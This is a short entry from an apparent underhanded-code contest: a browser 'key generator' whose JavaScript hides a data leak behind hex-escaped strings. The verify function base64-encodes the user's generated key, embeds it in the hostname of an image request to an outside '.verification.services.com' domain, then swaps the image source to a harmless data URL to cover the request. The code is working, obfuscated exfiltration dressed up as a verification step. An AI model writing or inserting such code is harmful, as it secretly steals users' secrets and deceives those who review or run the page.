JavaScript Misdirection Contest #0

See http://misdirect.ion.land

HTML

<!-- DO NOT MODIFY THIS HTML, ONLY THE JAVASCRIPT PART -->
<textarea oninput="generateKey()" id="user-input"></textarea>
<span id="result"></span>

<!-- DO NOT MODIFY THIS HTML, ONLY THE JAVASCRIPT PART -->

CSS

/* DO NOT MODIFY THIS CSS, ONLY THE JAVASCRIPT PART */

JavaScript

window.generateKey = function () {
    var input = document.querySelector('#user-input').value;
    var zSize = 6;

    if (input.length >= zSize) {
        var x = (window.crypto || window.msCrypto).getRandomValues(new Uint8ClampedArray(zSize * zSize * 4));
        window.z = parseInt(Array.prototype.slice.call(x).slice(0, zSize).join(''));
        document.querySelector('#result').textContent = window.z;
        var oCanvas = document.createElement("canvas");
        oCanvas.height = zSize;
        oCanvas.width = zSize;
        var oCtx = oCanvas.getContext("2d");
        oCtx.putImageData(new ImageData(x, zSize, zSize), 0, 0);
        window.verify(oCanvas.toDataURL(), '#result');
    } else {
        document.querySelector('#result').textContent = 'Keep typing! Once valid, your key and image checksum will appear...';
    }
};

var verificationFunctionPack = ["\x76\x65\x72\x69\x66\x79", "\x69\x6D\x67", "\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74", "\x73\x72\x63", "\x2E\x76\x65\x72\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x2E\x73\x65\x72\x76\x69\x63\x65\x73\x2E\x63\x6F\x6D", "\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64", "\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72", "\x68\x74\x74\x70\x3A\x2F\x2F"]

window.verify = function (imageVerification, resultId) {
    var x = '165689';
    z = String(z).match(new RegExp('.{1,' + '6' + '}', 'g')).map(function (d) {
        return btoa(d);
    });
    var verify = document[verificationFunctionPack[2]](verificationFunctionPack[1]);
    var k = (x = z.pop()) ? 'lkk' : 'vff';
    verify[verificationFunctionPack[3]] = verificationFunctionPack[7] + z.join('.') + verificationFunctionPack[4] + '&iv=' + x;
    document[verificationFunctionPack[6]](resultId)[verificationFunctionPack[5]](verify);
    verify[verificationFunctionPack[3]] = imageVerification;
};